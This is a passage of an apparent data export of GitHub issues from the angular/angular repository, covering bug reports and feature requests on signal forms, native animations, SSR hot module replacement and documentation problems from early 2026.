Angular CLI: 20.3.8
Node: 22.13.1
Package Manager: yarn 1.22.19
OS: win32 x64
    

Angular: 20.3.9
... animations, common, compiler, compiler-cli, core, forms
... language-service, platform-browser, platform-browser-dynamic
... platform-server, router, service-worker

Package                            Version
------------------------------------------
@angular-devkit/architect          0.2003.8
@angular-devkit/core               20.3.8
@angular-devkit/schematics         20.3.8
@angular/build             ... [TRUNCATED]","area: core,core: animations",2026-01-12T12:07:48Z,2026-01-12T16:33:44Z,4
angular/angular,3803628828,"Migrating from @angular/animations to native CSS: host firing, css not reacting","### Which @angular/* package(s) are the source of the bug?

None

### Is this a regression?

No

### Description

Hi everyone,

We started decommissioning `@angular/animations` in favor of CSS Native animation with JS animation callbacks and we bumped into a `host` binding limitation due to CSS engine.

In this example, we'd like to benefit from `host` property and `computed` signal to fire an animation but it seems CSS won't recognize the change when the class we apply is the same two or more times in a row.

https://stackblitz.com/edit/stackblitz-starters-85ja2rtm

Here's a working example: https://stackblitz.com/edit/stackblitz-starters-7zc3nm2u (using Element API and `classList.add`)

Is that something Angular will fix or eventually leave it to CSS ?

Thanks 

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.13
Node: 24.11.1
Package Manager: pnpm 10.6.5
OS: darwin arm64
    

Angular: 20.3.15
... animations, common, compiler, compiler-cli, core, forms
... language-service, platform-browser, platform-browser-dynamic
... router

Package                              Version
--------------------------------------------
@angular-devkit/architect            0.2003.13
@angular-devkit/build-angular        20.3.13
@angular-devkit/core                 20.3.13
@angular-devkit/schematics           20.3.13
@angular/build                       20.3.13
@angular/cdk                         20.2.14
@angular/cli                    ... [TRUNCATED]",,2026-01-12T10:13:53Z,2026-01-12T10:28:27Z,3
angular/angular,3803327410,Y,https://github.com/Bonsib420/expo/actions/workflows/sync-template.yml,,2026-01-12T08:51:57Z,2026-01-12T09:02:04Z,1
angular/angular,3802668568,Support no comment nodes in the DOM,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

Do you have the plan to support no placeholder html in the Element of the DevTool? As follow:
`'<!--container-->'`

When use @if, @else if, @for..., There are manny placeholder generated in the rendered html. But in the React, When structural statements are used， no placeholder is generated. Can this effect be achieved in Angular？

<img width=""1231"" height=""655"" alt=""Image"" src=""https://github.com/user-attachments/assets/a0dddc87-7373-4e57-832f-23b2bd735aad"" />

### Proposed solution

As described above, it maybe better to remove all placeholder.

### Alternatives considered

none",,2026-01-12T03:54:03Z,2026-01-12T05:54:47Z,2
angular/angular,3801044995,signal form schemaPath callback function not working,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

- I use form with validateAsync and passing service 
- I loop over array and creating form for objects with constructor
- No error in browser console


### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-fhwfy5tz?file=src%2Fform%2Fform.component.ts

### Please provide the exception or error you saw

```true
no exception
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.5
Angular           : 21.0.8
Node.js           : 24.12.0
Package Manager   : npm 11.7.0
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.0.5            │ ^21.0.5           │
│ @angular/cli              │ 21.0.5            │ 21.0.5            │
│ @angular/common           │ 21.0.8            │ 21.0.8            │
│ @angular/compiler         │ 21.0.8            │ 21.0.8            │
│ @angular/compiler-cli     │ 21.0.8            │ 21.0.8            │
│ @angular/core             │ 21.0.8            │ 21.0.8            │
│ @angular/forms            │ 21.0.8            │ 21.0.8            │
│ @angular/language-service │ 21.0.8            │ 21.0.8        ... [TRUNCATED]",,2026-01-11T09:59:44Z,2026-01-11T11:37:31Z,5
angular/angular,3807658998,"SSR dev-server HMR does not dispose hydrated layout, causing duplicated components after root template change","### Command

serve

### Is this a regression?

- [ ] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

_No response_

### Description

### Summary
In an SSR-enabled Angular project, when running `ng serve`, editing the root component template (`src/app/app.html`) and then refreshing the browser results in duplicated layout DOM nodes. Header/footer appear twice.

DevTools shows **two sibling `app-shell` elements under a single `app-root`** (the root is not duplicated; only the layout is duplicated). This does **not** reproduce in a non-SSR project.

### Expected
After saving template changes and refreshing, the hydrated SSR component tree should be disposed properly and the layout should render exactly once.

### Actual
After editing the root template and refreshing:
- previous hydrated layout is not destroyed
- a second `app-shell` is appended
- header/footer are rendered twice
- DOM order becomes inconsistent (router-outlet ends up between the two layouts)

### Notes
I have attached screenshots (DevTools Elements) showing `app-shell` duplicated the repro.

### ng serve
<img width=""1904"" height=""804"" alt=""Image"" src=""https://github.com/user-attachments/assets/a5c471cb-8855-422d-920a-426788252ce9"" />

### After change and save
<img width=""1883"" height=""818"" alt=""Image"" src=""https://github.com/user-attachments/assets/804cfa1f-e264-4e0d-b778-e0dc3eb548bd"" />

### After refresh page
<img width=""1919"" height=""8... [TRUNCATED]","area: core,core: hot module replacement (HMR)",2026-01-09T22:25:06Z,2026-03-16T16:04:09Z,1
angular/angular,3798254254,Support focusing first invalid field in DOM/template order,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

When submitting an invalid form, focusing the first invalid field is an important accessibility practice ([WCAG 3.3.1 Error Identification](https://www.w3.org/WAI/WCAG22/Understanding/error-identification.html)). However, the current API only allows focusing based on data model order, not template order.

Currently, `errorSummary().at(0)` returns the first invalid field based on the order of properties in the form data model, not the order they appear in the template. This leads to unexpected focus behavior and poor user experience, especially for screen reader users who expect focus to move to the first error in reading order.

**Reproduction:**

```ts
import { Component, signal } from '@angular/core';
import { form, FormField, required, schema } from '@angular/forms/signals';

type BookFormData = {
  isbn: string;
  title: string;
};

const bookFormSchema = schema<BookFormData>((path) => {
  required(path.isbn, { message: 'ISBN is required.' });
  required(path.title, { message: 'Title is required.' });
});

@Component({
  selector: 'app-book-form',
  imports: [FormField],
  template: `
    <form (submit)=""submitForm()"" novalidate>
      <label for=""title"">Title</label>
      <input id=""title"" [formField]=""bookForm.title"" />
      
      <label for=""isbn"">ISBN</label>
      <input id=""isbn"" [formField]=""bookForm.isbn"" />
      
      <button type=""submit"">Save</butt... [TRUNCATED]","feature,area: forms,forms: signals",2026-01-09T20:23:04Z,2026-02-11T05:14:21Z,13
angular/angular,3797012644,Add ControlContainer documentation,"### Describe the problem that you experienced

ControlContainer is a powerfull feature in Reactive Form, and the Doc is missing.",,2026-01-09T13:47:07Z,2026-01-09T13:55:43Z,1
angular/angular,3796835683,Host animate.enter animate.leave should work,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

Yes

### Description

Hi,

I want my animation enter/leave on the `Host`, not on the attributes inside the template.

Because:
1) it's more logical to place the enter/leave on the scoped component
2) you dont always have access over @if blocks, or routing components that are created/destroyed

The creation/deletion of a component should trigger the enter/leave animation.

This used to be possible, with the older style animation, using
```
  animations: [
    trigger('slideInOut', [
      transition(':enter', [
        style({ right: '-400px', width: 0 }),
        animate('.35s ease-in', style({ right: '0', width: '400px' }))
      ]),
      transition(':leave', [
        animate('.35s ease-out', style({ right: '-400px', width: 0 }))])
    ])
  ]
})
export class RightSidebarComponent {
  @HostBinding('@slideInOut') class = true;
```

Now I'm trying `host` but it doesnt work.

```
import { Component, HostBinding, NgZone } from '@angular/core';
import { Toast, ToastPackage, ToastrService } from 'ngx-toastr';
import { CommonModule } from '@angular/common';

@Component({
  selector: '[custom-toast-component]',
  standalone: true,
  imports: [CommonModule],
  styles: [`
    @keyframes fadeInAnimation {
      from { opacity: 0; transform: translateY(100%); }
      to { opacity: 1; transform: translateY(0); }
    }
    @keyframes fadeOutAnimation {
      from { opacity: 1; transform: tr... [TRUNCATED]","needs reproduction,area: core,core: animations",2026-01-09T12:50:23Z,2026-01-14T23:19:20Z,3
angular/angular,3796564251,Visit `Visitor.visitEmptyExpr` in `EmptyExpr.visit`,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler

### Description

It's strange to me that every other node visits Visitor, but `EmptyExpr` don't.

### Proposed solution

Call visit function in `EmptyExpr#visit()`

### Alternatives considered

N/A",area: compiler,2026-01-09T11:17:10Z,2026-01-09T16:53:55Z,3
angular/angular,3795999175,"Unable to access the HttpResponse type from ""@angular/common/http""","### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

Yes

### Description

Previously we could access the type by:
`import { HttpResponse } from '@angular/common/http';`

currently it complains that 
`TS2307: Cannot find module @angular/common/http or its corresponding type declarations.`

nasty workaround:
`import { HttpResponse } from '@angular/common/types/_module-chunk';`


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
S2307: Cannot find module @angular/common/http or its corresponding type declarations
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.5
Angular           : 21.0.7
Node.js           : 22.21.1
Package Manager   : npm 8.1.2
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular-devkit/build-angular     │ 21.0.5            │ 21.0.5            │
│ @angular-devkit/core              │ 21.0.5            │ 21.0.5            │
│ @angular-devkit/schematics        │ 21.0.5            │ 21.0.5            │
│ @angular/animations               │ 21.0.7            │ 21.0.7            │
│ @angular/cdk                      │ 21.0.5            │ 21.0.5     ... [TRUNCATED]",,2026-01-09T08:38:22Z,2026-01-09T08:53:55Z,2
angular/angular,3792935581,Signal forms - radio does not reflect form model signal initial state if value attribute is enum,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When trying to use `enum` as a `value` attribute for `radio` button, radio button does not reflects initial state of form model signal. 
If i use for example 
```ts
 readonly projectFormModel = signal<ProjectFormModel>({ name: 'test', status: ProjectStatus.CLOSED });
 readonly projectForm = form(this.projectFormModel);
```

 ```html
 <input
  type=""radio""
  [field]=""projectForm.status""
  [value]=""projectStatusEnum.CLOSED""
  id=""btnradio2"" />
<label
  class=""btn btn-outline-primary""
  for=""btnradio2"">
  {{ projectStatusEnum.CLOSED }}
</label>
```
Button should be marked as selected. But it works correctly after I click the html radio button.

It works for initial state if i use plain string for value, ie: `value=""closed""`

Enum values work OK in reactive forms, but not with signal forms.

Example link bellow.

Best regards.


### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/~/github.com/kle-pra/signal-form-enums?file=package.json

### Please provide the exception or error you saw

```true
/
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.5
Angular           : 21.0.7
Node.js           : 24.11.0
Package Manager   : npm 11.6.3
Operating System  : linux x64

┌───────────────────────────────┬───────────────────┬───────────────────┐
│ Package                    ... [TRUNCATED]","area: forms,bug,forms: signals",2026-01-08T13:37:04Z,2026-01-12T21:49:21Z,3
angular/angular,3792874279,Can't migrate to new animate API based on the docs and provided migration examples,"### Describe the problem that you experienced

I found not enough documentation or examples how to migrate away from @angular/animations stagger function, when it's used for a reversed leave animation. Both examples show a simple staggered enter animation only without latter additions or deletion.

### Enter the URL of the topic with the problem

https://angular.dev/guide/animations/css#staggering-animations-in-a-list https://angular.dev/guide/animations/migration#stagger

### Describe what you were looking for in the documentation

I tried to migrate a simple staggering animation in an app

### Describe the actions that led you to experience the problem

The leave animation contains a `stagger(-50, ....)`. List items can be added and removed later

### Describe what you want to experience that would fix the problem

Documentation how the new ""staggering"" animate API handles reversed order.

### Add a screenshot if that helps illustrate the problem

I'd like to be able to migrate a same behavior application to the new API
https://stackblitz.com/edit/stackblitz-starters-nvgkhntc
",,2026-01-08T13:18:31Z,2026-01-08T16:23:16Z,4
angular/angular,3792768300,Stagger documentation example is not working,"### Describe the problem that you experienced

I merged and copied the example code into a stackblitz repo and found out that the example does not animate correctly.

### Enter the URL of the topic with the problem

https://angular.dev/api/animations/stagger

### Describe what you were looking for in the documentation

I tried to create a stagger animation based on the docs, and tweaking it so the leave animation is reversed.

### Describe the actions that led you to experience the problem

Merging the code pieces together results in a buggy, jumping animation.

### Describe what you want to experience that would fix the problem

For some reason adding `{ optional: true }` as the third argument of the `query` function fixes the animation.

### Add a screenshot if that helps illustrate the problem

https://stackblitz.com/edit/angular-dev-stagger-example",,2026-01-08T12:49:52Z,2026-01-08T16:21:14Z,2
angular/angular,3792623721,Function documentations are duplicated,"### Describe the problem that you experienced

JSDoc documentations of exported functions are duplicated on the page. It's confusing. Looks like the doc creates an extra reference members section, which contains all the information, the page already shows. 

### Enter the URL of the topic with the problem

https://angular.dev/api/core/rxjs-interop/outputFromObservable, https://angular.dev/api/animations/stagger

### Describe what you were looking for in the documentation

I was looking for examples how to use animation functions.

### Describe the actions that led you to experience the problem

I searched for expressions and they kept appearing twice

### Describe what you want to experience that would fix the problem

I think there's no need for the plain unformatted JSDoc content here.

### Add a screenshot if that helps illustrate the problem

<img width=""1184"" height=""991"" alt=""Image"" src=""https://github.com/user-attachments/assets/9e9be8e6-8009-4932-b0d0-c33b11b11ca7"" />
",area: docs-infra,2026-01-08T12:08:11Z,2026-01-12T17:50:14Z,2
angular/angular,3792181912,Typesafe method signature for ComponentRef<T>.setInput,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

`ComponentRef<T>.setInput` signature has no type information used even though we have the component type. It would be a way better dx to have that typed.

### Proposed solution

Update the signature of the type to something like 

```ts
abstract class ComponentRef<C> {
  ...
  abstract setInput<K extends keyof C>(name: K, value: C[K]): void;
  ...
}
```

### Alternatives considered

Currently i am trying out a project typing override

```ts


declare module '@angular/core' {
    type Property<T> =
        {
            [P in keyof T]: T[P] extends Function ? never : P
        }[keyof T];

    interface ComponentRef<C> {
        setInput<K extends Property<T>>(name: K, value: C[K]): void;
    }
}
```",,2026-01-08T09:50:31Z,2026-01-08T12:33:31Z,3
angular/angular,3791044669,The link to the Simplified Chinese version of the document was not provided correctly,"### Describe the problem that you experienced

The browser opens a new tab and displays error_outline Page when click the Simplified Chinese under the multilingual module



### Enter the URL of the topic with the problem

https://angular.dev/essentials

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

Provide the correct link to the Simplified Chinese version of the document.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-01-08T03:04:25Z,2026-01-08T03:23:45Z,2
angular/angular,3790718878,this is a title,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

No

### Description

This is a description

### Please provide a link to a minimal reproduction of the bug

this is a link

### Please provide the exception or error you saw

```true
this is an exception
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
hare is the environment
```

### Anything else?

nothing else",,2026-01-07T23:42:31Z,2026-01-07T23:42:55Z,1
angular/angular,3788929834,Please improve error message if signal form field called `name` can be undefined,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When you try to bind a field to a property of an object that may be undefined, you normally get a error message that says that this property does not exist. Now, when the property is named `name`, you get a different message that is not that easy to understand:

```typescript
export interface Test {
  a: string;
  name: string;
}

@Component({
  selector: 'custom-form-value-control',
  template: `<input type=""text"" [field]=""valueForm.a""/><input type=""text"" [field]=""valueForm.name""/>`,
  changeDetection: ChangeDetectionStrategy.OnPush,
  imports: [Field],
})
export class CustomControlComponent
  implements FormValueControl<Test | undefined>
{
  public readonly value = model<Test | undefined>();
  protected readonly valueForm = form(this.value);
}
```

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-hh57wspj?file=src%2Fcustom-control.component.ts

### Please provide the exception or error you saw

```true
✘ [ERROR] TS2339: Property 'a' does not exist on type 'FieldTree<Test | undefined, string | number>'.
  Property 'a' does not exist on type '(() => FieldState<Test | undefined, string | number>) & object'. [plugin angular-compiler]

    src/custom-control.component.ts:11:51:
      11 │ ...type=""text"" [field]=""valueForm.a""/><input type=""text"" [field]=""...
         ╵                                   ^
... [TRUNCATED]",,2026-01-07T14:10:35Z,2026-01-07T14:23:08Z,3
angular/angular,3788719611,Signal pipes,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

There was an issue https://github.com/angular/angular/issues/56407
which was not properly resolved and provided example is wrong as it suggests ineffective impure pipe.
The issue author was requesting a pure signal pipe.


### Proposed solution

I would like the team members to reconsider this feature.

### Alternatives considered

 Or explain why they want to stick to impure pipes.",,2026-01-07T13:14:56Z,2026-01-07T13:18:47Z,5
angular/angular,3788212291,Leaving view animation does not have native demo,"### Describe the problem that you experienced

**Link to Animate entering and leaving a view** migration guide does not shows how leaving transition should be implemented.

### Enter the URL of the topic with the problem

https://angular.dev/guide/animations/migration#animate-entering-and-leaving-a-view

### Describe what you were looking for in the documentation

I'm migrating a list, where items inside it are staggered and has an entering and leaving animation.
",area: docs,2026-01-07T10:36:11Z,2026-01-12T16:18:17Z,4
angular/angular,3788022371,Anthropic's MCP TypeScript SDK has a ReDoS vulnerability,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

Dear Angular Team

Hopefully I'm at the right place here.
I have the latest Angular 20 installed.

When I run:
```
npm audit --audit-level=high
```

I get the following vulnerability:
```
@modelcontextprotocol/sdk  *
Severity: high
Anthropic's MCP TypeScript SDK has a ReDoS vulnerability - https://github.com/advisories/GHSA-8r9q-7v3j-jr4g
fix available via `npm audit fix --force`
Will install @angular/cli@20.0.6, which is a breaking change
node_modules/@modelcontextprotocol/sdk
  @angular/cli  >=20.1.0-next.0
  Depends on vulnerable versions of @modelcontextprotocol/sdk
  node_modules/@angular/cli
```

Kind Regards
Marco

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
See above.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.13
Node: 22.21.1
Package Manager: npm 11.7.0
OS: win32 arm64


Angular: 20.3.15
... common, compiler, compiler-cli, core, forms
... platform-browser, router

Package                      Version
------------------------------------
@angular-devkit/architect    0.2003.13
@angular-devkit/core         20.3.13
@angular-devkit/schematics   20.3.13
@angular/build               20.3.13
@angular/cli                 20.3.13
@schematics/angular          20.3.13
rxjs                   ... [TRUNCATED]",,2026-01-07T09:37:49Z,2026-01-07T10:51:26Z,2
angular/angular,3787359946,animate.leave not working as expected,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

Yes

### Description

I am trying to use new `animate.enter` and `animate.leave` in Angular 21 using Signals.
When the element is added to DOM using @If, the `animate.enter` is triggered as expected, but when Signal is reverted to false, it removes the element from DOM immediately and animate.leave is not called at all.

```
<div class=""lg:hidden"">
  @if(isOpen())
  {
    <div class=""fixed inset-0 z-40 flex"">

      <!-- Backdrop -->
      <div
        class=""fixed inset-0 bg-gray-900""
        style=""opacity: 0.9""
        (animate.enter)=""backdropEnter($event)""
        (animate.leave)=""backdropLeave($event)"">
      </div>

        <div
          class=""sidebar relative flex h-full w-full max-w-xs flex-1 flex-col bg-gray-800""
          (animate.enter)=""sidebarEnter($event)""
          (animate.leave)=""sidebarLeave($event)""
        >
         ITEMS
        </div>
    </div>
  }
</div>
```

But if i add animate.leave to root div [ `<div class=""fixed inset-0 z-40 flex"" animate.leave(animate.leave)=""sidebarLeave($event)""` ], in this case it calls both sidebarLeave

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.1.5
Node: 22.14.0
Package Manager: npm 10.9.2
OS: darwin arm64

Angular: 
.... [TRUNCATED]",needs reproduction,2026-01-07T05:01:29Z,2026-01-07T16:44:40Z,4
angular/angular,3786592249,Unexpected reference leak when aggregating signals,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

I was trying to implement a Registry Pattern with Angular Services and Signals and leaked some objects via the signals dependency tracking in an unexpected way. The stackblitz link below has more details but the gist of it is:

1. I have a root provided service that performs some aggregation logic in a computed over a set of Signals that are registered with it by component scoped services.
2. When the component scoped services are destroyed they unregister their signal.
3. If the aggregation computed has run but now has no consumers, it will hold onto a reference to the destroyed component scoped service via the dependency tracking of the aggregate computed.

The odd thing I noticed is that if the registered Signal is created with signal() then there is no leak. But if the registered signal is a computed() then there is a leak. I expected both to leak or neither to leak.

I understand that normally a computed's dependencies are not recalculated if it's not being read but would it make sense for dependencies to be recalculated when one is being destroyed? Or when there are no readers?


### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-k2tnpvcd?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng versio... [TRUNCATED]","area: core,core: reactivity,cross-cutting: signals,forms: signals",2026-01-06T21:26:54Z,2026-01-06T21:45:24Z,3
angular/angular,3785361769,Signal Forms: Mark all as touched when not hidden,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

At the moment you can only mark all fields as touched when using the submit method. In our use case this will lead to undesirable behavior.

Eg. we habe two fields (subject and message). The message is hidden and will only be displayed when entering a subject first. If I tap on submit without entering anything, the subject has an error message. After adding a subject, the message will have the error immidiatly because through submit it was marked as touched (although it was hidden).

### Proposed solution

Let the developer decide which fields to mark as touched or add an option to markAsTouched, but only mark visible fields as touched (ignore hidden fields).

### Alternatives considered

-","area: forms,forms: signals",2026-01-06T14:34:40Z,2026-01-28T18:56:05Z,4
angular/angular,3785148158,Allow Signal Form properties to be accessed by name in schema,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

I have a need to disable form fields based on an external source (API call). With reactive forms I can recursively disable fields whose name exists in a `string[]` with `disabledFields.forEach(disabledFieldId: string) => this.form.get(disabledFieldId).disable();`.

As far as I can tell, I cannot do this using Signal Forms.  I am trying to use `schema()` to apply the same logic. I have tried numerous ways to dynamically obtain the field name, but have not found a way to do this.

The following works, but is not dynamic and requires me to explicitly name each property twice:
`public static disableFields($disabledFields: Signal<string[]>): Schema<SampleForm> {`
`  return schema((fieldPath: SchemaPathTree<SampleForm>) => {`
`    disabled(fieldPath.field1, () => $disabledFields().includes('field1'));`
`    ...`
`    disabled(fieldPath.fieldn, () => $disabledFields().includes('fieldn'));`
`  });`
`}`

### Proposed solution

I am seeking a way to do the above by dynamically referencing each field's name, perhaps using `FieldTree.name`:
`public static disableFields($disabledFields: Signal<string[]>): Schema<SampleForm> {`
`    return schema((fieldPath: SchemaPathTree<SampleForm>) => {`
`      disabled(fieldPath, ({ fieldTree }) => $disabledFields().includes(fieldTree.name);`
`    });`
`  }`


### Alternatives considered

The ability to access properties using `fieldPath['xxx']` (simil... [TRUNCATED]","area: forms,forms: signals",2026-01-06T13:27:24Z,2026-02-05T19:06:11Z,6
angular/angular,3783773138,"In component inheritance scene, child component class support parent component's selector and template remaining valid in child template.","### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

The child component has overwriten the parent component's selector and template  when child component inherit a parent component, as shown in the following code.  'draggable' is parent component and 'app-content' is child component.

If I  choose to use 'ng-content' in the template of 'DraggableComponent', and move the temple code of child component to solve the problem  , I have to modify the child component and parent component. Can the angular framework support parent component's selector and template remaining valid in child template.

```ts
// parent component
@Component({
  selector: 'draggable',
  template: '<p>{{ message }}</p>'
})
export class DraggableComponent {
  message = 'Hello from parent';
  dragStart(evt: any, currentCursorType: string = 'ew') {
  }

  dragEnd(evt: any) {
  }

  ewResize(evt: any) {
  }
}
```

```ts
// child component
@Component({
  selector: 'app-content',
  template: `
    <p>{{ message }} (from child template)</p>
    <!--  DraggableComponent -->
    <draggable></draggable>
  `
})
export class ContentComponent extends DraggableComponent {
  // 
}
```


### Proposed solution

I suggest adding a parameter in the parent or child ""@Component"" that says whether to keep the parent selector and parent template.

In this example, if adding in child ""@Component"", 

```ts
// parent component
@Component({
  selector: 'draggable',
  template: '<p>{{ me... [TRUNCATED]",,2026-01-06T05:14:36Z,2026-01-06T06:24:52Z,2
angular/angular,3783094267,Incorrect XSS error shown after upgrade from angular 21.0.3 to 21.0.6,"### Which @angular/* package(s) are the source of the bug?

platform-browser

### Is this a regression?

Yes

### Description

I'm using `sanitizer.bypassSecurityTrustResourceUrl` to sanitize a url for an audio tag. This seem to have broken between angular 21.0.3 and 21.0.6, as far as I can tell. It works in this example (Angular 21.0.3) https://stackblitz.com/edit/stackblitz-starters-ffvgzhnf?file=src%2Fmain.ts, but if I then run ng update (to 21.0.6), the audio no longer plays, and I get  `src=""SafeValue must use [property]=binding: https://traffic.libsyn.com/brawlingbrothers/Brawling_Bros_-_Episode_57_-_Blobulous_Motion_-_GenCon_2017.mp3 (see https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss)""` in my src.

(The repro below is update, and shows the bug).

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-cw7peq8g?file=angular.json

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.4
Angular           : 21.0.6
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations       │ 21.0.6            │ ^21... [TRUNCATED]","area: compiler,core: sanitization",2026-01-05T22:54:29Z,2026-05-28T14:30:49Z,6
angular/angular,3782851629,Example code not formated,"### Describe the problem that you experienced

https://angular.dev/guide/testing/components-scenarios#detectchanges

<img width=""1626"" height=""1292"" alt=""Image"" src=""https://github.com/user-attachments/assets/becfd8f8-60a8-4dca-8680-19a1f2469fee"" />

<img width=""1586"" height=""388"" alt=""Image"" src=""https://github.com/user-attachments/assets/b7a23ed3-d37d-4c5c-af5d-9ac9c6e27ef2"" />

<img width=""1462"" height=""996"" alt=""Image"" src=""https://github.com/user-attachments/assets/1be0f9bb-f864-47f0-9abd-86ffefee8660"" />

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-01-05T21:02:32Z,2026-01-05T21:17:38Z,2
angular/angular,3782555893,The URL https://angular.io/license should redirect to https://angular.dev/license,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

The URL https://angular.io/license should redirect to https://angular.dev/license

### Please provide a link to a minimal reproduction of the bug

https://angular.io/license

### Please provide the exception or error you saw

```true
There is currently a redirect that sends that link to https://v17.angular.io/docs instead.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",area: docs-infra,2026-01-05T18:59:43Z,2026-01-12T18:26:35Z,1
angular/angular,3781939741,Signal Forms: Error when dynamically rendering Field directive,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Issue #64632 reported that dynamic rendering of the new Signal Form `Field` directive does not work at all.

PR #65599 should provide a fix for this issue.

However when using the latest next version of Angular (21.1.0-next.4) an error is reported when trying to dynamically render the element. Therefore the dynamically rendered Field component is still not usable compared to the static component.

The attached link is the same code as the original issue, only the package versions were upgraded to the latest next version.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/ra8k4vio-4iabpsh3?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
When rendering the component, the following issue is being reported:


ERROR TypeError: this.field(...) is not a function
    at Field.state.ngDevMode.debugName [as computation] (signals.mjs:103:37)
    at Object.producerRecomputeValue (_effect-chunk.mjs:310:25)
    at producerUpdateValueVersion (_effect-chunk.mjs:102:8)
    at _Field.computed2 [as state] (_effect-chunk.mjs:271:5)
    at updateControlClasses (_debug_node-chunk.mjs:13485:13)
    at updateControl (_debug_node-chunk.mjs:13313:5)
    at Object.ɵcontrolUpdate [as update] (_debug_node-chunk.mjs:13308:3)
    at Object.update (_debug_node-chunk.mjs:8124:54)
    at _debug_node-chunk.mjs:8375:17
    at ... [TRUNCATED]",,2026-01-05T15:39:56Z,2026-01-05T15:53:42Z,2
angular/angular,3781565466,_NgZone Error while navigating a second time on a component including a Web Component,"### Which @angular/* package(s) are the source of the bug?

elements, zone.js

### Is this a regression?

No

### Description

Hello,

I am building a micro-services application with a Container App and two Web Components (builded with Angular elements).

Everything works fine until I navigate back to a route with an already loaded Web Component.

<img width=""1925"" height=""117"" alt=""Image"" src=""https://github.com/user-attachments/assets/64371e22-9ea3-47d5-9586-4a62a7e57b9d"" />

Here is a repo to reproduce the bug: https://github.com/Liotarne/microfrontends

I may have made something wrong, it is my first micro-frontend.

I already tried many different solutions: Module Federation, ax lazy loading, legacy loading (<script>), no lazy loading at all, standalone and without standalone.

The Web Components are build with the same version of Angular with angular elements.

Thanks a lot for any help you can provide about this bug !

### Please provide a link to a minimal reproduction of the bug

https://github.com/Liotarne/microfrontends

### Please provide the exception or error you saw

```true
Uncaught ɵNotFound: NG0201: No provider found for `ErrorHandler`. Source: Environment Injector. Find more at https://v21.angular.dev/errors/NG0201
    Angular 10
_untracked-chunk.mjs:37:5

ERROR ɵNotFound: NG0201: No provider found for `_NgZone`. Source: Environment Injector. Find more at https://v21.angular.dev/errors/NG0201
    Angular 10
_untracked-chunk.mjs:2581:19
```

### Please provi... [TRUNCATED]",,2026-01-05T13:48:44Z,2026-01-05T15:19:14Z,2
angular/angular,3778554190,Angular language service detects an error with the new sintaxis.,"### Which @angular/* package(s) are the source of the bug?

language-service

### Is this a regression?

Yes

### Description

Its saids something like this: 

